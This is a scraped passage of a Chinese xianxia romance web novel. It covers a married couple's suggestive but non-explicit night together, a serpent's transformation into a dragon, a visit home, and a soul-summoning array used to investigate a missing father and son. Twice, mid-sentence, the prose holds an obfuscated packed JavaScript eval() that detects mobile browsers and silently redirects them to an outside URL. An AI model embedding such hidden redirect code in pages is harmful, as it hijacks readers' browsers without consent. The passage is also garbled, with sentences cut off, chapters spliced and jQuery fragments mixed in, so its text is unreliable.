也不知今晚是怎么了,胡翘翘解来解去,半天都没解开,反而越来越紧,连她白皙的额头都覆上了一层湿意,也不知道是水汽,还是急出的汗液。 看着她这副手忙脚乱的模样,陈子均想笑:“还是我自己来吧。” “不不,我来,马上就好。”胡翘翘情急之下,伸手拉住腰带两端,“嗤啦”一声,直接将它扯断——哪怕是坚韧的云锦料,也敌不过她现在的手劲。 陈子均:“……” 这件衣服完了。 胡翘翘呼出口气:“还是这样比较快一点。” 腰带一解除,剩下的衣服就毫无抵抗之力了。 看到眼前的景物,小狐狸睁大了眼,只觉得自己都快要窒息了,全身力气都要消失了,她深深地深深地吸了一口气,又深深地深深地吐出一口气,却还是全身战栗,滚烫的血液一股股的往脑子里冲,身体不由自主地晃了一下,往浴桶栽过去。 陈子均眼疾手快的伸出手,将她抱住了,揽入怀中,同时勾起唇角,问:“还没开始,娘子怎么就不行了?” 小狐狸咽了咽口水,有几分嘴硬地道,“谁、谁说我不行啦,我只是想赶紧洗好,好快点和相公开始而已……” 陈子均笑了:“好,那我们快一点。” 水汽在浴室内氤氲,水波荡漾间,肌肤相触。 胡翘翘只觉得整个人都心神欲醉,仿佛漂浮在云端,一种美妙的感觉在她心头蔓延…… 连什么时候和陈子均一起离开了浴室都不知道。 等她回过神来时,已经被陈子均轻轻放在了床上。 陈子均没有急着进行下一步,而是静静地看着她。 这一刻,她原本白皙如玉的肌肤已经染上了一层粉红,在昏黄的烛光下泛着莹润的光泽,腰肢纤细,浑身上下没有一丝赘肉,黑若流瀑的发丝散落在白皙的脸颊边,散发出一股让人难以抵抗的吸引力,如同最完美的艺术品,动人心魂,又就像是摆在盛宴上最美味的那一道点心,在呼唤着人将她一点点的吃到肚子里。 胡翘翘原本就对接下来的事情感到害羞,此刻悄悄地看了他一眼,发现陈子均正一瞬不瞬的盯着自己,那目光仿佛带着火,在她身上游移,她顿时更加难为情了,感觉自己的脸颊烫得像要烧起来一般,又紧紧地将双眼闭上了,不敢再去看他,心脏砰砰直跳,仿佛要从嗓子眼里蹦出来。 陈子均看着眼前的小狐狸,明明他还什么都没做,她却已经羞红了脸,像一颗熟透的水蜜桃,那微微颤抖的睫毛,更是透着一股令人心动的娇羞。 他缓缓地伸出手,轻抚着她的脸颊,感受着她肌肤的细腻和温热。 “娘子……你可知道,你现在的模样有多诱人?” 胡翘翘感觉到陈子均的手指轻轻地划过她的脸颊,带起一阵酥麻的电流,让她忍不住轻轻地瑟缩了一下。 “相公……”她声如蚊呐,细若游丝,更像是在撒娇,“你、你能去把蜡烛吹灭吗?” 陈子均眼中的笑意更浓,他不仅没有动,反而伸手轻轻地捏了捏她的脸颊,语气中带着几分调侃:“都老夫老妻了,怎么还害羞成这样?平时也没见娘子如此害臊啊?” “才、才没有呢!”胡翘翘将脸埋进了被子里,传出的声音闷闷的,“我只是……我只是觉得这光太亮了,有点儿晃眼……” 陈子均笑了,起身走到桌边,低头将烛火吹熄了。 然后,胡翘翘感觉到床边微微下陷,紧接着,一个温热的身体贴了上来,将她搂进了怀里。 “娘子…” 陈子均的嗓音回荡在这个小小的空间里面。 随后,他就低头,亲吻了下来。 直吻得胡翘翘整个人都瘫软成一团水一般,脑子里一片迷糊。 室内一片漆黑,伸手不见五指,只有窗外洒落的月光,在地板上投下一片朦胧的光斑,像是碎银落玉盘,也像是情人间的低语,隐隐约约,暧昧不明。 相公…” 黑暗中,她声音响起,低如蚊吶,透着一丝紧张和期待。 陈子均低低地应了一声。 “我、我准备好了……” 然而片刻之后。 “疼……”一个带着细细哭腔的声音忽然响起,“呜呜呜,相公,你坏,快出去……好痛……我不要做这什么了。” 陈子均沉默了片刻,语气中带着一丝无奈和宠溺:“真不要了?” “不……不要了!”她呜咽又哀怨,“那什么话本子,什么 也没问题,或是一次两个三个十几个也没问题。” “但是翘翘不一样,我不需要什么三宫六院,三千佳丽,整个后宫只有你一个人,好不好?” “你想要什么我都给你,金银珠宝,绫罗绸缎,只要你喜欢的,我都赏赐给你!” “然后我每天晚上都翻你一个人的牌子,天天临幸你……嘿嘿嘿嘿,相公,你看我对你多好……” “那我可要感谢娘子对我的专一深情了,”陈子均笑了,只是那笑中没有多少温度。 他淡淡地说,“不过,我现在才知道,娘子懂的知识还真不少……” 还什么一天换一个,一次两个三个十几个… 小狐狸还得意洋洋:“那是,那么多话本子,翘翘可不是白看的哦~” 陈子均发现自家娘子根本没听出来自己说的是反话,只能伸手捏了捏她的小鼻子,无奈道:“看来,以后我要少给你买点这种乱七八糟的书了,一点用处都没有。“ “啊?”胡翘翘这才发现,自家相公似乎对她的幻想不太感兴趣。 她连忙搂住陈子均的胳膊,撒娇道:“不要生气嘛相公,人家以后不乱想了,你别生气呀……” 陈子均笑了,“行了,吓唬你呢。” “嘻嘻,我知道的。” 正在这时,一股微妙的感应忽然涌上陈子均的心头—— 小青那里,似乎已经差不多了………… 他眸光微动,温声道:“好了,娘子,我陪你去沐浴,然后乖乖睡觉。” 胡翘翘弯起眼,“嗯。”了一声。 ……… 过了片刻,等胡翘翘陷入甜睡,陈子均才缓缓起身。 他先小心地在附近为她施了一个能让她睡得更香甜的术法,避免她察觉到自己的离去,然后低头亲了亲她,才迈出了脚步。 东海之上,一轮明月高悬,银辉如水,倾泻而下,将波澜起伏的海面映照得波光粼粼。 忽然,那原本分散的月光,此刻却仿佛受到了某种无形力量的牵引,在空中流动起来,向着同一个方向涌去。 四周变得暗淡下来,所有的月光被聚在一起,在空中形成了一道水桶粗细的光柱,接着,笔直笔直地直接射入了大海之中! 大海深处,一处隐秘的洞穴之中。 一条巨大的青蛇正静静地盘踞着,似乎对外界发生的一切毫无察觉。然而,当那月光光柱照射到它身上的那一刻,它的身体突然剧烈地颤抖起来。 青蛇猛地抬起头,一双金黄的蛇瞳死死地盯着那道从天而降的光柱。 它能感觉到,某种强大的能量,正源源不断地从光柱中涌入它的体内,被它身体里的某个存在贪婪地吸收着。 如果有人能够看穿青蛇的身体,就会惊奇地发现,在它的体内,一颗龙珠正散发着莹莹的光芒。而那道月光光柱,正是被这颗神奇的龙珠所吸引,化作最纯粹的能量,注入其中。 随着月光不断涌入,青蛇的身体开始剧烈膨胀。 准确地说,是它的内部开始膨胀,导致外面的蛇皮呈现出了一种被狠狠绷紧的感觉,仿佛随时都会被撑破。 蛇皮之上,凸出了一些细长的纹理,如同血管一般,明灭不定。 随着幻明幻灭的同时,青蛇的血脉也在不断被提纯,变化,再提纯,再变化,在隐隐地朝着一种上古的古老血脉而转变! 终于,传来了一阵阵细碎隐约的声响,那蛇皮似乎被绷紧到了极限,开始一点点地炸裂开来。 最先裂开的是蛇头。 一条细长的裂缝被撑开,一颗青色的、形似牛头的巨大脑袋从裂缝中缓缓探出,从里面努力地蠕动着,往外探出来。 与蛇相比,它脑袋的形状像是一头牛,顶部有两个小小的鹿角,巨大的嘴巴,两侧分布着两条长须,张开时,便能看见里面布满了锋利无比的牙齿,显得很是狰狞。 如果此刻,这里有一个对上古传说有所了解的人在,或许能认出,这个脑袋,便是传说中的真龙! 它晃动脑袋,费了极大的力气,终于将整个龙头从蛇皮中挤了出来。 而后,它仰起了龙头,一声嘹亮的龙吟传来,明明没有风,方圆百里的海域,忽然发生了巨大的震荡,山一般高的巨浪翻滚而起。 夜空之上,大量的乌云在聚集,雷光涌动,在云层之中,留下一道道龙状的阴影! 就在这时,一道流光从远处飞来,速度快得惊人,几乎眨眼间便来到了小青化龙的海域上空。 来人是一个圆脸修士,此时此刻,他一脸愤怒、震惊。 “我感觉到了,有家伙在这里化龙……对了,是龙珠,一定是那个偷了我真龙龙珠的家伙,此时在这里化龙!” 他神念一扫,便发现了潜藏在海底之中,正在蜕变的小青,下一秒,圆脸开始狰狞地扭曲,“便是这小贼么?终于让我逮到了!哼哼,我要趁着它完全化龙之前,将龙珠给挖出来!” 圆脸修士也不废话,直接祭出一柄金光闪闪的飞剑,朝着深海中的青蛇恶狠狠地斩去。 能被他随身携带,这柄飞剑的威力自然非同小可,别说这条蛇目前还没成功化龙了,就算 是一条真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893011|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙,被斩实了,也得去掉半条命。 一股致命的危机感笼罩了青蛇,它能感觉到那柄飞剑上蕴含的恐怖力量,足以将它瞬间撕成碎片。在这生死关头,它却无处可逃,化龙的过程已经到了最关键的时刻,稍有不慎就会前功尽弃,甚至魂飞魄散! “要死了吗?”青蛇心中悲呼。它并不怕死,但它不想死在化龙的最后一步,它还没有报答胡翘翘的救命之恩,还没有再见白姐姐一面,它还有好多事情没有做。 难道,她今日就要命丧于此了吗? “轰!” 就在这千钧一发之际,一只缠绕着雷电的元气大手,忽然出现,竟一把握住了那柄金光闪闪的飞剑! “轰隆!” 震耳欲聋的雷鸣声响彻天地,那柄飞剑剧烈颤抖,剑身之上电光四射,却怎么也无法再前进半分。 “谁?!” 青蛇和圆脸修士都是一惊,猛然抬头,看向来人。 只见一个身穿青衫的俊美书生,正凌空虚渡,缓缓从天而降。 “公子?”青蛇的眼中顿时爆发出惊喜的光芒。 “专心化龙,这里交给我。”陈子均淡淡地瞥了青蛇一眼,语气平静地说。 “是!”青蛇心中大定,连忙收敛心神,扭动身躯,猛地向前一窜,再次挣脱一段蛇皮,伸出了两条龙爪来。 与此同时,陈子均又抬头看向圆脸修士,眉头微皱,问道:“这位道友,不知这条青蛇如何得罪了你,你要如此痛下杀手?” 圆脸修士暴跳如雷:“它是偷了我宝贝龙珠的贼,识相的赶紧给我滚一边去,否则连你一块收拾了!” “龙珠?!”陈子均一愣,这才明白原来对方竟然是他上次得到的龙珠的主人。 顿时有种被失主找上门来,人赃并获般的尴尬感。 他干咳一声,摸了摸鼻子,温声说道:“这位道友,恐怕其中有点小误会……” “误会你个头!”吼声中,圆脸修士化出一只巨大的手掌,朝着陈子均恶狠狠地拍了过去,“老子一巴掌拍扁你,也是误会!” 顿时,狂暴的能量波动如同海啸一般席卷开来,周围的海水被震得冲天而起,化作漫天水雾。 陈子均却只是眯起了眸子,口中淡淡吐出一个字:“艮!” 艮为山,可镇万物! 话音刚落,圆脸修士便大惊失色,他发现自己体内的力量仿佛被一股无形的力量禁锢,完全无法调动,同时,一股巍峨沉重到无法抵抗的巨力从天而降。 “嘭!” 一声巨响,他重重地跌入海中,将海底砸出一个巨大的深坑,自己则趴在坑底,动弹不得。 以他的实力,自然淹不死,只是这模样,好似被翻了个身的海龟,完全动弹不得,十分狼狈。 “不可能!这不可能!”他趴在海底,瞪大眼睛,透过海水,难以置信地紧盯着天空上的那个身影,一时间,神情比震惊还要震惊。 ““这是……这是洛书之力!这家伙是什么人,为何能使用洛书的力量!?” 他如同见了鬼魅一般,心中掀起惊涛骇浪。 与此同时,青蛇终于蜕掉大部分蛇皮,只剩下尾巴还连着一小段蛇皮。 此时的它,虽然体型还远不如真正的真龙那般庞大威严,但也已经初具雏形。 那圆脸修士跌下去之时,便刚好落在它的面前不远。 青蛇——不,现在应该称它为青龙了,用龙爪轻松地扯掉了最后那一小截蛇皮。 它低下头颅,盯着面前的圆脸修士,龙目之中凶光毕露。 它可没忘记,方才正是这家伙用飞剑攻击它,险些将它置于死地! 哼哼,哼哼…… 圆脸修士这才注意到它,顿时勃然大怒,“小泥鳅,你想做什么?” 青龙磨着牙,即便在海水中,那声音也清晰可闻,让人听着毛骨悚然。 “哈,你以为老子还会怕你这条小泥鳅么,告诉你,就算老子还没解开封印,你这种小泥鳅,也是一个手指的事情。”圆脸修士眯起眼,不屑地冷笑道,“老子迟早有一天,把你剖腹挖肚,拿回我的龙珠。” 青龙闻言,眼中的凶光更盛了几分。 突然,一个平静的声音透过海水,传到了它的耳边。 “走了。” 青龙不敢违背,但又心中不甘,眼珠一转,忽地张开嘴,呸地一声,一大口龙涎吐出,喷了那圆脸修士一脸,而后,才龙身一振,而后破开海水,飞入天空,青色龙鳞在月光下熠熠生辉,只留下那圆脸修士愤怒的大叫。 陈子均施展传送神通,带着小青瞬间消失在原地。 他一走,那艮卦之力也随之解除。 圆脸修士身上一松,立马抹了一把脸上的龙涎,又嫌弃地拍掉一只试图在他头上安家的海星,这才狼狈地冲出海面。 而后,猛地冲出海面。 他死死盯着陈子均消失的地方,目光惊疑不定,几乎语无伦次地喃喃开口。 “这家伙是什么人?为何能使用洛书的力量?只有伏羲才能使用洛书,难道,他是伏羲不成?!” “不,不对,他不可能是伏羲,伏 第142章 重返白崖村 胡翘翘醒来时,揉了揉惺忪睡眼,发现窗棂外的天色已是一片明亮。 她隐约闻到阵阵食物的香气,肚子很配合地“咕噜”叫了一声。 “啊,相公今天早上买了什么好吃的?好香啊……”胡翘翘掀开被子,跳下床,突然又一怔,鼻子微微耸动,“等等,这气味儿是……” 她连忙穿好衣服,胡乱梳了几下头发,就急匆匆朝着饭厅跑去。 远远的,一抹暌违近月的绿衣身影映入眼帘。 “小青?!”胡翘翘扑了过去,从后面抱住青蛇,欢天喜地地问道,“你什么时候回来的呀?” 小青正从食盒里往外端着早饭,冷不丁被她这么一扑,手中的一笼包子险些翻倒。 她先小心地将包子给放好了,才扭头看着胡翘翘,笑嘻嘻地说,“早上刚回来,怎么样,翘翘姐欢不欢迎我呀?” “唔~~当然欢迎啦!” 虽然相处不久,但她平时没什么朋友,小青已经算是她除了相公之外,相处时间最多的人了,所以,小狐狸还是挺喜欢对方的。 而且,女孩子在一起时,也能悄悄聊一些私密的小心事,也是极有意思的。 “你去散心了这么多天,有什么有意思的事儿么?” “当然有啦,回头慢慢讲给你听。” 胡翘翘又左顾右盼。 “相公呢?小青你见着相公了吗?” “哦,我方才看到公子在花园呢。”小青说,“我去请他来吃早饭吧。” “没事,我去叫他!” 胡翘翘去花园将陈子均叫来了,夫妻俩开始吃早饭。 早饭是几种不同口味的包子,咸口的羊肉馅、笋干猪肉馅,甜口的是豆沙馅、枣栗馅。 胡翘翘拿了个枣栗馅的,边啃着,边兴致勃勃地询问小青,这些日子中她有没有遇到什么有趣的事。 小青挑了些她以前听过的奇闻轶事,笑吟吟地讲给胡翘翘听。 胡翘翘信以为真,各种一惊一乍。 吃完一个,她又拿了个羊肉馅的,同时扭头问陈子均,“相公,乡试的结果什么时候能出来呀?” 陈子均放下筷子,“怎么也得等上一个月了。“ “啊?这么久呀?” 陈子均沉吟了会儿,“这段时间左右没事,娘子想不想回白崖村看看?” “真的吗?!”胡翘翘兴奋地差点从椅子上跳起来。 说实话,离开白崖村都快两个月了,她还真的挺想念的。 “我想念卤蛋爷爷了,还想念王婶子、石头叔、小虎子他们……对了,我们还可以去看看顾行天和顾伯伯,不知道顾伯伯现在的身体怎么样了……” “行了行了,知道你想回去。”陈子均捏了她鼻子一下,笑道,“但我们也不能空手回去,这两天先准备些礼物,到时候回去了送给他们。” “好呀!那吃完饭,我们就一起去逛街,给乡亲们买礼物!” 几天后的清晨,天边才泛起一抹鱼肚白,在距离白崖村不远的一段路上,小青牵着老牛,轻巧地落到地面。 胡翘翘紧随其后,和陈子均一起落到地上,轻盈得如飘落的两片羽毛。 然后,她掐动法诀,撤去了几人身上用来掩饰的障眼法术。 “嘻嘻,还是相公的主意好,咱们既可以坐着牛车回去,不引人注意,还不用连着浪费好几天在路上。”胡翘翘一边夸赞着,一边从储物袋里取出了牛车。 小青把老牛牵到牛车前,将它套好,回头笑道:“公子,翘翘姐,上车吧。” 等陈子均和胡翘翘上车坐稳,小青轻盈一跃,坐上车辕,挥动手中的柳枝,老牛抬起腿,缓步走向白崖村。 牛车慢悠悠地行驶在乡间小路上,天色也渐渐亮了起来。清脆的鸟鸣声,伴随着远处传来的鸡鸣狗吠声,构成了一幅宁静祥和的田园画卷。 没多久,白崖村的轮廓便出现在视野中。 “驾!”小青甩了甩手中的柳枝,老牛心领神会地哞了一声,加快了步伐。 牛车刚一进村,便被早起的村民们发现了。 他们睁大眼,很快,便认出了过来的牛车。 “哎,那不是陈秀才家的牛车吗?” “秀才和他娘子回来了?!” “快,快去告诉其他人!” 消息迅速传开,村民们纷纷涌到了村口。 “真的是秀才和他娘子回来了!” “哎呀,他们走了快两个月了吧,走之前说会回来看我们的,现在真的回来了!” 村长来了,孩子们来了,婶子们叔伯们也都来了,大家都是笑容洋溢,七嘴八舌地询问着他们在府城的情况,言语间满是关切。 “子均啊,这次乡试感觉怎么样?有没有把握中举啊?”一个头发花白的老人笑呵呵地问道,他是村中的一个老秀才,年轻时也曾考取过功名,只是后来家道中落,便回到村里教书育人,陈子均来之前,便是他负责在私塾里教孩子们读书,在村民们的心中很有威望。 陈子均还没来得及开口,胡翘翘便抢先说道:“孙爷爷,您就放心吧,我相公可厉害了,一定能中的!” “是啊是 啊,陈秀才这么聪明,肯定能高中!”旁边的村民们也笑着说。 “先生回来了,先生回来了!”一群半大的孩子则是围着陈子均又蹦又跳,又笑又闹。 “对啦,我们还给大家买了礼物!”胡翘翘开心地从牛车中搬出一样样东西,交到每一个人的手上。 大多都是点心、布匹之类的,还有给孩子们的各种小玩意儿。 东西虽不贵重,却都是他们夫妻二人精心挑选的。 “你们回来就行了,还买什么礼物啊!”村长笑着摇头,语气中却满是欣慰。 “那可不行,相公说了,空手来是没有礼貌的。”胡翘翘笑嘻嘻地说。 陈子均也微微一笑,“都不是太值钱的东西,我们夫妻的一片心意罢了,大家拿着吧。” 村民们都欢天喜地地收下了。 这段时间正是秋收,陈子均知道村民们忙得很,便让他们先散去,自己和胡翘翘在村中逛一会儿即可,又答应了村长一起吃午饭的邀请。 “相公,我们去看看我们以前住的小屋吧。”胡翘翘拉着陈子均的手。 陈子均自然不会拒绝,任由她拉着自己往熟悉的那条小路走去。 小屋还是老样子,篱笆墙上爬满了翠绿的藤蔓,几株月季开得正艳,空气中弥漫着淡淡的草木清香。 推开院门,一股熟悉的气息扑面而来,仿佛时光倒流,回到了三年前他们初来乍到的那段日子。 “又回来啦!”胡翘翘深深地吸了一口气,脸上满是怀念,“相公,你还记得吗?当初咱们刚来的时候,这院子可破旧了,都是你一个人一手一脚收拾的呢。” 陈子均忍着笑,伸手轻轻抚摸着她柔顺的头发,“是啊,”他指 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陈子均也走了出来,含笑道:“是啊,我们回来看看。” 老梧桐呵呵地笑着,看着他。 陈子均看出童正似乎有话要说,便对胡翘翘说道:“翘翘,你将不是也给童爷爷买了礼物吗?去拿出来吧。” “嗯!”胡翘翘脆生生地应了一声,一溜烟跑进了屋。 待胡翘翘离开后,童正顿时压低声音,“秀才,那五通妖……是你做的吧?” 陈子均淡淡地笑了一下:“没错。” 童正长长地舒了一口气,“我就知道是你,除了你,也没人有这本事了。” 胡翘翘拿来了两人给童正准备的几本棋谱,一盒茶叶。 老梧桐开心地收下。 中午,两人是在村长家吃的饭。 村长家今日格外热闹,除了陈子均夫妻二人,还有几位村中德高望重的老人。 村长婆娘杀了一只肥硕的老母鸡,炖了一大锅香气四溢的鸡汤,又炒了腊肉、野蘑菇等山珍,配上自家酿的米酒,胡翘翘吃得满面红光,赞不绝口。 吃完午饭,陈子均带着胡翘翘同村民们告别。 小青又赶着牛车,前往清平镇,因为清平镇不算太远,所以三人就直接坐牛车过去了。 来到清平镇,径直去了顾行天的家。 到了顾家,小青上前敲门,半晌却无人应答。 “奇了怪了,这大白天的,难道进山打猎去了?”她嘟囔着。 胡翘翘拉住她的衣袖,摇了摇头,“别敲了,没人在家。” 她的神念早已将顾家扫视了一遍,里面空无一人。 陈子均说:“可能是进山打猎了。” 这时,从不远处走过来了一个穿着粗布衣的裙纤瘦少女,她见到胡翘翘和陈子均,杏仁般的眼睛微微睁大,“咦,是、是你们……” 胡翘翘盯着她看了两眼,忽地也认出了对方——这女孩,不就是之前她和相公曾见过一次的,来顾家的那个小姑娘么? 这时,柳燕梅怯生生地走到他们面前,轻声问,“你们……是来找顾家大哥的吗?” 胡翘翘点了点头,“他们今天不在家么?” 她话音刚落,就见到那女孩的眼眶泛红,泪水在眼眶里打转,仿佛下一秒就要哭出来。 第143章 借魂阵法 见她下跪,胡翘翘吓了一跳,连忙道,“你别跪,有话好说,快起来吧!” 柳燕梅只是流泪,摇头。 见她不肯起身,胡翘翘无奈,素手轻轻一抬。 一股无形的力量自她手中传出,托住了柳燕梅的身子,让她不由自主地站了起来,再也跪不下去。 柳燕梅又惊又怕,还以为自己撞了邪,心中惊惧,却还是挣扎着想要跪下去,“两位贵人,求求你们帮帮我,我……我真的没有别的办法了……” “你先别急。”胡翘翘连忙安慰,“我们既然来了,肯定会帮你的……”说到这里,她扭头看向陈子均,“是不是呀,相公?” ……都答应了还问他。 陈子均叹了口气,对柳燕梅道:“你先回去吧,我们想想办法,若有了消息再来告诉你。” 柳燕梅红着眼,又弯腰行了一礼,这才转过身走了, “那小子恐怕连老虎都打得死,怎么会好好的便失踪了呢……”小青看着她有几分萧瑟的背影,忍不住嘟哝,“该不会他们太倒霉,在山中撞见了什么厉害的妖怪吧?” 胡翘翘秀眉微蹙,望向陈子均,“相公,你有没有什么办法?” 陈子均的脸上露出了沉吟之色。 顾家父子已经失踪了近一个月,这么长时间过去,想要寻到线索,确实有些困难。 当然,对于推算之法,他也略知一二,若是自家娘子不在,他直接将此事解决了也不难,但如今娘子就在身边,他总不能表现太过,引起她的疑心…… 半晌,他眸光一闪,缓缓说道:“倒是有个法子,或许可以一试。” “相公快说!” 陈子均语速平缓地道:“我曾在一本古籍之中,看到过一种少见的秘阵,名为借魂阵。” “借、借魂?”胡翘翘睁大了眼儿,有些结巴,“是阴魂么?” 陈子均点点头:“没错。” 小狐狸顿时感觉背后有一丝凉飕飕的。 比起妖怪来,她对那些阴森森的阴魂反而更害怕几分。 小青微微一愣,目光困惑,“我倒是听说过,青山宗擅长一种回魂术,可以召回死者的阴魂,只是条件有些苛刻,必须是亡故没过头七,入轮回不久之人,而且施展回魂术时,还必须在那人去世之地,才有可能成功。公子说的这借魂阵,有什么不同么?” “自然是有不同的。”陈子均斜睨了她一眼,解释道,“借魂阵,顾名思义,其实是一种阵法。绘制成功后,便可唤来魂差,借助他们的力量,将要找的阴魂带过来,正因如此,才称之为‘借’。” “只要那阴魂还在轮回界,没去重新投胎,就能办到,也不需要非得在对方去世之地施展。但这借魂阵在施展时,需要付出宝物作为交换,所要寻找的阴魂越是难以寻觅,所需的时间越长,,需要的宝物价值就越高……” 陈子均微微一顿,“不过,顾行天他们父子只是凡人,需要的宝物应该不用特别珍贵。” 听到这里,胡翘翘目光一亮,兴奋地一拍小手,“所以,相公是说,如果顾行天和顾伯伯真的出了事,我们可以用这借魂阵,将他们的魂魄找来,亲自询问他们事情的真相,对不对?!” “娘子聪明。”陈子均微微一笑,夸奖道。 “那相公知道该怎么才能施展这个借魂阵吗?” “记倒是记得,但我没有法力,无法亲自施展,”陈子均注视着她和小青,“只能由我教给你们阵法的绘制之法,你们来完成了。” 他沉吟了会儿,又补充道,“阴魂大多惧怕阳光,我们趁着白天将阵法画好,待到亥时夜深人静之时,再来进行,应该会更加顺利一些。” 胡翘翘点头:“好!” …… 暮色四合,夜幕降临。 顾家院子中,月色昏暗,带着九月的几分寒意。 胡翘翘和小青借着昏光,正在按照陈子均的教法,在院中绘制阵法。 几人手头上都没有用以绘制阵法的合适材料,小青便依照陈子均的吩咐,割破手腕,挤出了一些她的血液——她如今身含真龙血脉,血液中蕴含惊人的元气,用来作为绘制阵法材料,再合适不过。 而且这阵法不算复杂,一小杯血液便绰绰有余,对她自身也没有太大的损害。 一开始,胡翘翘和小青各负责一半的阵法绘制。 二女都是第一次接触阵法,而阵法的绘制颇为严苛,每个符文都必须从第一笔到最后一笔都是一气呵成,不能有停顿断续。 是以,最开始几次,两人都是绘制到一半就出了错,只能抹去之后,再重新来过。 好在小狐狸没别的优点,但凡是相公交代的事儿,她做起来就是十万分的认真耐心,不厌其烦。 尽管前几次因为不熟练而出错,但越往后,她的错误就越少。 现在这一次,在完成了一半之后,连一个符文都没错, 反观小青,性格急躁,依然会不时出纰漏。 陈子均无奈,只能让胡翘翘独自完成阵法的绘制。 至于小青,之前她挤出的一杯血液已经用得差不多了,只能再次取了一些。 亥时刚过,随着最后一笔落下,胡翘翘终于长舒一口气,转头询问陈子均:“相公,你看看,有没有问题?” 陈子均仔细检查一番,点点头,“很好……我记得娘子还有四颗雷果吧?在阵眼那里放两颗,作为交换品。” 对如今的她来说,这雷果的作用已经不大,所以用掉两颗也不妨事。 胡翘翘点点头,依言照做。 等她在阵眼处放好了雷果,陈子均才道,“可以了,小青,激活阵法。” 小青闻言,凝神静气,将自身魂力缓缓注入阵法之中。 阵法吸收了小青的魂力和雷果中蕴含的能量,顿时光芒闪烁,运转起来。 忽然阵法之中散出诡异的蓝光,一股阴寒无比的怪风回旋,揪着周围的树木频频摆头,四周的温度也骤然下降了不少,明明中秋刚过,却如初冬一般,寒意凛然。 蓝光之中,渐渐浮现出一黑一白两道身影。 飘飘荡荡,浑身阴气缭绕。 魂差来了! 虽然早已有了心理准备,但胡翘翘仍吓了一小跳,下意识地后退了半步。 蓝光散去,两名魂差的视线也落在了三人身上,黑袍魂差阴测测开口,“谁唤我等前……咦,怎么又是你们?!”声音中带着一丝难以置信的惊讶。 又是? 胡翘翘怔了怔,睁大眸子仔细打量他们,忽然认出,眼前的魂差正是上次她和相公刚到长陵城时,遇到的那两位,顿时松了一口气。 还好还好,是熟人! 白袍魂差的目光扫过院中阵法,有些惊讶,“是借魂阵,怎么,你们召唤我兄弟二人前来,是要寻找什么人的魂魄吗?” 陈子均颔首:“正是,还请两位帮个忙。” 黑袍魂差神色严肃:“借魂的规矩,三位想必也清楚。需要有等价交换之物,而且,若是对方已经轮回转世,交换之物便不予退回。” “这是自然。”陈子均点头道。胡翘翘也在一旁附和。 “好,那便请将要找之人的姓名、样貌和生辰八字、死亡时辰告知我们吧。”白袍魂差说道。 陈子均沉吟片刻,缓缓道:“我要找的是父子二人,父亲的名字我不清楚,儿子叫做顾行天,至于两人的生辰八字……我都不清楚。父亲约莫四十来岁,儿子十五六岁。死亡时间也不确定,大概是在近一个月内,父子二人都是这清平镇人。” 两名魂差闻言,顿时太阳穴一阵狂跳,就这么点信息,让他们从哪里找起? 若换作旁人,他们早就发作了,只是这书生实力高深莫测,他们不敢轻易得罪,只能忍了下来。 “抱歉,我对他们父子所知确实不多,还望二位帮忙。”陈子均略带歉意地说道。 “陈公子言重了,既然答应了为你寻人,我兄弟二人自当尽力而为。”白袍魂差叹了口气,对陈子均说道,“只是你给的条件有限,怕是需要花费些时间,还请三位耐心等待片刻。” 胡翘翘忍不住问,“需要多久?” “少则一炷香,多则一两个时辰。” “好,我们便在此地等候,”陈子均点点头,“有劳二位了,若能找到他们,在下感激不尽。” 两名魂差点点头,身形又渐渐消失。 时间一点一点过去。 子时刚过,阵法再次开始闪起诡异蓝光。 紧接着,那两名魂差回来了,这一次,他们依旧是两人,但白袍魂差的手中却多了一个诡异的红色灯笼,里面散着幽幽红光。 古怪的是,四周明明刮着不小的风,但那看似轻薄的纸糊灯笼却稳如泰山,纹丝不动,仿佛有着千钧之重。 胡翘翘的目光有些好奇地落在那灯笼上,不知它是做什么用的。 白袍魂差看出了她的疑惑,道,“我们只寻到了一个魂魄,那人的魂魄便在这燃烧着幽冥之火的灯笼中,只有借助灯笼的保护之力,它才能暂时脱离轮回界。“ “原来如此。”胡翘翘恍然大悟,但很快又愣住了,“只有一魂?” 一时间,她竟不知是喜是忧。 白袍魂差微微颔首,屈指轻轻敲了敲灯笼,沉声道:“出来吧。” 灯笼中红光一闪,一个虚弱的阴魂缓缓飘了出来。 是顾行天的父亲! 顾父的双眼缓缓睁开,只是,目光极为空洞与迷茫。 “他的魂魄有些损伤,所以,只勉强记得死前半个时辰之内发生的事情,也只能回答最简单的问题。”黑袍魂差道,“现在,你们有一盏茶的时间,可以问他。” 胡翘翘连忙问道:“顾伯伯,你和顾行天到底发生了什么事?” 顾父的阴魂静静站着,没有任何反应。 结合方才白袍魂差的话,或许是这问题对他来说,有些太难了。 陈子均思平心静气地给出了第二个问题:“你还记得,你是怎么死的吗?” 顾父的阴魂依然没有反应。 陈子均皱皱眉,思考了会儿,又换了一种问法,“我来猜,若是对了,你便点点头,若是不对,你不需要做任何动作,这次可以吗?” 这一次,顾父的阴魂终于点了点头。 “你是被野兽所害?”陈子均试探着问道,“还是被人谋害、遭到意外…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893013|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一连问了数种可能,顾父都毫无反应,既不点头,也不摇头。 陈子均的眉头越拧越紧,片刻后,缓缓吐出几个字,“难不成,你是……自尽?” ”自尽?这怎么可能……“胡翘翘感觉不可思议,但她刚说完,赫然就见到顾父点头了! 